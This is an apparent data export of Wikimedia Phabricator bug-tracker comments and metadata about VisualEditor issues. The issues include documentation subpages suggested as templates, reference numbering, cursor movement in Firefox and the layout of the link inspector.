[[https://gerrit.wikimedia.org/r/483205]]",,,1547062350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,288,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,4.675,0.8,"Change 483205 had a related patch set uploaded (by Jforrester; owner: Jforrester):
[mediawiki/extensions/VisualEditor@master] MWTemplateTitleInputWidget: Filter out templates named '…/doc'

[[GERRIT_URL]]"
1168996,Transclusion dialog should not suggest documentation sub pages as templates,"Change 464718 **merged** by jenkins-bot:
[mediawiki/extensions/TemplateData@master] Don't store templatedata pageprop on doc-subpage

[[https://gerrit.wikimedia.org/r/464718]]",,,1540999311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,278,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.942857142857143,0.7428571428571429,"Change 464718 **merged** by jenkins-bot:
[mediawiki/extensions/TemplateData@master] Don't store templatedata pageprop on doc-subpage

[[GERRIT_URL]]"
1154188,Transclusion dialog should not suggest documentation sub pages as templates,"Change 464718 had a related patch set uploaded (by Krinkle; owner: Krinkle):
[mediawiki/extensions/TemplateData@master] Don't store templatedata pageprop on doc-subpage

[[https://gerrit.wikimedia.org/r/464718]]",,,1538687276,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,274,,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,4.282051282051282,0.8461538461538461,"Change 464718 had a related patch set uploaded (by Krinkle; owner: Krinkle):
[mediawiki/extensions/TemplateData@master] Don't store templatedata pageprop on doc-subpage

[[GERRIT_URL]]"
1104216,Transclusion dialog should not suggest documentation sub pages as templates,">>! In T54448#1991488, @maiden_taiwan wrote:
> Suggestion: allow the wiki administrator to designate a particular subpage string, such as `doc`, as the official place to keep TemplateData. Then VisualEditor can intelligently and unambiguously filter these pages out. See T125222.

(This is an old comment but I think it would be helpful.) TemplateData already has a message for this in the configuration, `MediaWiki:Templatedata-doc-subpage`, so implementing solutions based on that shouldn’t be a problem.",,,1531613135,,PHID-USER-3ljmcrqixyljk2wy63jb,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,262,,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,9.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,7.0,14.0,2.0,2.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,3.9545454545454546,0.8863636363636364,"QUOTE
QUOTE

(This is an old comment but I think it would be helpful.) TemplateData already has a message for this in the configuration, CODE, so implementing solutions based on that shouldn’t be a problem."
1071167,Transclusion dialog should not suggest documentation sub pages as templates,"[[ https://hu.wikipedia.org/w/index.php?title=Vars%C3%A1nyi_Istv%C3%A1n&diff=prev&oldid=19944747 | An example ]]: I accidentally //{{Nemzetközi katalógusok/doc}}// instead of //{{Nemzetközi katalógusok}}//, because I was not thoughtful enough. We should find a way to avoid the problem.",,,1526835132,,PHID-USER-qdbrv6swdxlgemqwwbuw,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,254,,0.0,0.0,0.0,0.0,3.0,5.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,11.0,8.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,14.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,8.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,4.54054054054054,0.8648648648648649,"[[ URL | An example ]]: I accidentally //{{Nemzetközi katalógusok/doc}}// instead of //{{Nemzetközi katalógusok}}//, because I was not thoughtful enough. We should find a way to avoid the problem."
762102,Transclusion dialog should not suggest documentation sub pages as templates,">>! In T54448#1991488, @maiden_taiwan wrote:
> Suggestion: allow the wiki administrator to designate a particular subpage string, such as `doc`, as the official place to keep TemplateData. Then VisualEditor can intelligently and unambiguously filter these pages out. See T125222.

This one could work! On pt-wiki we use ""doc"" as the documentation subpage and ""dados"" as the TemplateData. Maybe blacklisting both of them could help VisualEditor interpreting them as **not** templates to be transcluded. 
I don't think that //""excluding all subpages except those explicitly marked as templates""// would be a good idea, because there are plenty of templates (Info/Patologia, Info/Grupo étnico, Info/Facção de conflito etc.) located on subpages.",,,1479326628,,PHID-USER-46kgwzejnrokds6ov24i,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,176,,1.0,0.0,0.0,1.0,2.0,1.0,1.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,2.0,3.0,4.0,12.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,14.0,3.0,1.0,7.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,5.0,12.0,9.0,0.0,4.0,0.0,5.0,0.0,0.0,1.0,2.0,3.0,0.0,0.0,4.0,4.06,0.73,"QUOTE
QUOTE

This one could work! On pt-wiki we use ""doc"" as the documentation subpage and ""dados"" as the TemplateData. Maybe blacklisting both of them could help VisualEditor interpreting them as **not** templates to be transcluded. 
I don't think that //""excluding all subpages except those explicitly marked as templates""// would be a good idea, because there are plenty of templates (Info/Patologia, Info/Grupo étnico, Info/Facção de conflito etc.) located on subpages."
601976,Transclusion dialog should not suggest documentation sub pages as templates,"Suggestion: allow the wiki administrator to designate a particular subpage string, such as `doc`, as the official place to keep TemplateData. Then VisualEditor can intelligently and unambiguously filter these pages out. See T125222.",,,1454445652,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,135,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,18.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.102564102564102,0.8461538461538461,"Suggestion: allow the wiki administrator to designate a particular subpage string, such as CODE, as the official place to keep TemplateData. Then VisualEditor can intelligently and unambiguously filter these pages out. See T125222."
504665,Transclusion dialog should not suggest documentation sub pages as templates,"Another option: instead of filtering, use sorting by usage (group by on templatelinks) instead of alphabetic sorting.",,,1439039697,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,109,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.590909090909091,0.8181818181818182,"Another option: instead of filtering, use sorting by usage (group by on templatelinks) instead of alphabetic sorting."
504664,Transclusion dialog should not suggest documentation sub pages as templates,I think we have simple way to filter out subpages of templates.,,,1439039410,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,False,,,109,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,23.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,I think we have simple way to filter out subpages of templates.
455847,Transclusion dialog should not suggest documentation sub pages as templates,"> Suggested possible ways forward:
> 
> * Exclude all subpages except those explicitly marked as templates, e.g by magic word or category
> * Include all subpages except those explicitly marked as not being templates, e.g. by magic word or category

Neither of these options are imho maintainable or author-friendly. Alternative ideas (from T98562).

> * Filter out /doc (hardcoded).
>  * Principally not as ugly as one might think, since TemplateData does this as well. Though TemplateData only uses that hardcoded value to discover related pages in the graphical interface. It is in no way enforced server-side or encouraged in its interface when inserting/editing template data.
>  * We'd have to filter it client-side, which means the number of results shown is inconsistent. To avoid false positives with template names that actually end in ""/doc"", we'd only remove results if the other title is also in the list. (E.g. ""Template:Dac/duc/doc"" or something like that.)
> * Filter out results that are transcluded in other results.
>  * Requires an additional query somewhere, but might be a smart way to do it. We'd only omit results that are transcluded by others. So ""Template:Foo/doc"" would be omitted because according to the link tables, ""Template:Foo"" (also in the suggestions) transcludes ""Template:Foo/doc"". This doesn't work well because documentation pages themselves often make use of various other templates. So any template used in the preview, examples, or documentation would never show up in the suggestions.
> * Filter out results that transclude template data.
>  * Not sure how this would work, but since the same duplication is also present in the page-property index (which is where template data is stored), we can detect that Foo and Foo/doc both have (the same) template data. We may be able to de-duplicate results that way (and pick the one that sorts higher, or the one with a shorter name, aka not the helper page that tends to be a sub page).

And of course {T56140} – which I'd say is the ideal solution. And is quite feasible to implement.",,,1431057318,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,True,,,96,,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,27.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,6.0,15.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.606060606060606,0.6060606060606061,"QUOTE
QUOTE
QUOTE
QUOTE

Neither of these options are imho maintainable or author-friendly. Alternative ideas (from T98562).

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

And of course {T56140} – which I'd say is the ideal solution. And is quite feasible to implement."
54446,"VisualEditor: Copying and pasting the first reference on a page, then deleting the pasted reference results in ref ""0""","I was able to produce a reference labelled ""0"" in the VisualEditor using the following steps:

1. Create a simple page with some text and a reference. (I've made an example at [[User:Mr. Stradivarius/ref0]].)
2. Copy and paste the reference to somewhere else in the page.
3. Delete the reference from the text that has just been copied and pasted.
4. The first reference is automatically renumbered to ""0"".

The numbering of the first is fixed (back to ""1"") if you delete the line of text that you were on, but if you add new lines of text the first reference remains laballed ""0"" even if the pasted line is subsequently removed. The numbering still starts at 0 if you add another reference, so you get ref ""0"", ref ""1"", etc.

This is on Firefox 22.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1375433040,1379656831.0,PHID-USER-rjtk3h6l2quifuajiime,False,,False,PHID-TASK-m6kobht7lswcgwklm5ra,task_description,resolved,True,c1,3,False,False,True,4,,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,3.3333333333333335,1.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,3.6666666666666665,7.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,5.333333333333333,0.0,0.0,0.6666666666666666,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,8.333333333333334,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.0,2.6666666666666665,6.0,1.6666666666666667,1.3333333333333333,7.333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,3.3333333333333335,0.0,2.6666666666666665,7.0,2.0,0.0,5.0,0.0,2.6666666666666665,0.0,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,3.42603160667252,0.6483026046239392,"I was able to produce a reference labelled ""0"" in the VisualEditor using the following steps:

1. Create a simple page with some text and a reference. (I've made an example at [[User:Mr. Stradivarius/ref0]].)
2. Copy and paste the reference to somewhere else in the page.
3. Delete the reference from the text that has just been copied and pasted.
4. The first reference is automatically renumbered to ""0"".

The numbering of the first is fixed (back to ""1"") if you delete the line of text that you were on, but if you add new lines of text the first reference remains laballed ""0"" even if the pasted line is subsequently removed. The numbering still starts at 0 if you add another reference, so you get ref ""0"", ref ""1"", etc.

This is on Firefox 22.

--------------------------
**Version**: unspecified
**Severity**: normal"
234650,"VisualEditor: Copying and pasting the first reference on a page, then deleting the pasted reference results in ref ""0""","Confirming that this bug is now fixed, almost certainly in the re-write of copy-and-paste for nodes that happened for the 5 September release. Apologies for the slow triage at my end.",,,1379656831,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m6kobht7lswcgwklm5ra,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,8.0,20.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,28.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,8.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,20.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.825,0.8,"Confirming that this bug is now fixed, almost certainly in the re-write of copy-and-paste for nodes that happened for the 5 September release. Apologies for the slow triage at my end."
234643,"VisualEditor: Copying and pasting the first reference on a page, then deleting the pasted reference results in ref ""0""","Also, this is just in the editing window. When the page is saved, the numbering returns to normal.",,,1375433127,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-m6kobht7lswcgwklm5ra,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,9.0,9.0,5.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6818181818181817,0.7727272727272727,"Also, this is just in the editing window. When the page is saved, the numbering returns to normal."
54445,"VisualEditor: Firefox up-down cursoring around aliens is broken, takes user to end of page sometimes","When the first line of an article is a hatnote template that generates exactly 1 line of text in the visual editor, pressing down twice takes you to the end of the article. When the hatnote template generates more than one line then pressing down takes you to the end of the first line but no further.

I have been unable to reproduce this with templates other than hatnotes. 

Steps to reproduce (short hatnote):
1. Load a page with a short hatnote in VE, e.g. [[Laurence of Canterbury]]
2. Press the down cursor twice

Expected behaviour: you end up on the third line of the page
Actual behaviour: you end up on the last line of the page

Steps to reproduce (long hatnote):
1. Load a page with a long hatnote in VE, e.g. [[An American in Paris]]
2. Press the down cursor three or more times.

Expected behaviour: you end up on the third or fourth etc. line of the page
Actual behaviour: you end up at the end of the first line of the hatnote.

Sandbox pages to test:
Long hatnote: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=566827194&veaction=edit
Short hatnote: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox2&oldid=566827110&veaction=edit

This might be related to bug 51708

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51708",Medium,50.0,1375432860,1380754670.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-k3hxvwskpoy3zkxaliwa,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,0.3333333333333333,0.0,8.0,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,4.0,12.333333333333334,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.3333333333333335,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,17.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,8.666666666666666,1.0,11.0,0.6666666666666666,1.0,9.333333333333334,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,2.0,0.0,2.3333333333333335,12.333333333333334,2.6666666666666665,0.0,0.0,0.0,2.3333333333333335,0.0,1.0,2.3333333333333335,0.0,0.6666666666666666,0.6666666666666666,0.0,2.6666666666666665,3.5345817727840196,0.5388264669163546,"When the first line of an article is a hatnote template that generates exactly 1 line of text in the visual editor, pressing down twice takes you to the end of the article. When the hatnote template generates more than one line then pressing down takes you to the end of the first line but no further.

I have been unable to reproduce this with templates other than hatnotes. 

Steps to reproduce (short hatnote):
1. Load a page with a short hatnote in VE, e.g. [[Laurence of Canterbury]]
2. Press the down cursor twice

Expected behaviour: you end up on the third line of the page
Actual behaviour: you end up on the last line of the page

Steps to reproduce (long hatnote):
1. Load a page with a long hatnote in VE, e.g. [[An American in Paris]]
2. Press the down cursor three or more times.

Expected behaviour: you end up on the third or fourth etc. line of the page
Actual behaviour: you end up at the end of the first line of the hatnote.

Sandbox pages to test:
Long hatnote: URL
Short hatnote: URL

This might be related to bug 51708

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
234608,"VisualEditor: Firefox up-down cursoring around aliens is broken, takes user to end of page sometimes","Have tested this again, and I believe we have fixed this bug as reported, as part of the re-writing of how ContentEditable reacts to cursor events. However, I think I've found another bug semi-related, so will open that.",,,1380754670,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3hxvwskpoy3zkxaliwa,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,8.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7346938775510203,0.7755102040816326,"Have tested this again, and I believe we have fixed this bug as reported, as part of the re-writing of how ContentEditable reacts to cursor events. However, I think I've found another bug semi-related, so will open that."
234601,"VisualEditor: Firefox up-down cursoring around aliens is broken, takes user to end of page sometimes","My testing was in Monobook in Firefox 22 on Linux.
The original reporter was using Monobook in Firefox 22 on Windows 7.
Rybec comments that they can reproduce it in some pages (e.g. my sandbox) but not others (e.g. [[Laurence of Canterbury]]) using Firefox ESR on Linux.

It's starting to look like it might be a Firefox-only bug.",,,1375477103,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k3hxvwskpoy3zkxaliwa,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,3.0,0.0,4.0,14.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,21.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,14.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,3.0,3.6315789473684212,0.6973684210526315,"My testing was in Monobook in Firefox 22 on Linux.
The original reporter was using Monobook in Firefox 22 on Windows 7.
Rybec comments that they can reproduce it in some pages (e.g. my sandbox) but not others (e.g. [[Laurence of Canterbury]]) using Firefox ESR on Linux.

It's starting to look like it might be a Firefox-only bug."
234594,"VisualEditor: Firefox up-down cursoring around aliens is broken, takes user to end of page sometimes","I have been unable to reproduce this at all on all of the linked pages, with both Monobook and Vector on Chrome, Win7.",,,1375475936,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-k3hxvwskpoy3zkxaliwa,task_subcomment,,True,c1,3,False,,,4,,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,23.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,23.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,0.8846153846153846,"I have been unable to reproduce this at all on all of the linked pages, with both Monobook and Vector on Chrome, Win7."
54440,"The on-page notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices, unlike all the other status notes","Flagged Revisions provides a number of edit notices about the status of the page being edited, but this one (about the status of the transcluded components thereof) isn't. This feels wrong. It also means VisualEditor can't warn people about it.

--------------------------
**Version**: master
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52280",Medium,50.0,1375423920,1422041644.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,PHID-TASK-d3wa2dbg66dt5t24advb,task_description,duplicate,True,c1,3,True,False,False,4,,0.0,0.0,0.0,1.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,5.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,13.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.8026315789473686,0.6447368421052632,"Flagged Revisions provides a number of edit notices about the status of the page being edited, but this one (about the status of the transcluded components thereof) isn't. This feels wrong. It also means VisualEditor can't warn people about it.

--------------------------
**Version**: master
**Severity**: normal
**See Also**:
URL"
54436,VisualEditor: Link inspector should have bottom margin to avoid cutting the page (UX),"Screenshot of problem

When the link inspector is fairly tall and the space somewhat narrow (e.g. a red link, 10 suggestions in the inspector, and the link itself is towards the bottom of the screen), the box will expand further than the page goes (triggering a scrollbar if needed).

That's fine, except that it is hard to see for the user whether there is more or not. Especially with OSX hiding scroll bars by default.

There should be some bottom margin so that it can be clearly seen that the bottom of the list is the bottom, ans eparated from the bottom of the (now expanded) page.

See attached screenshot.

--------------------------
**Version**: unspecified
**Severity**: minor

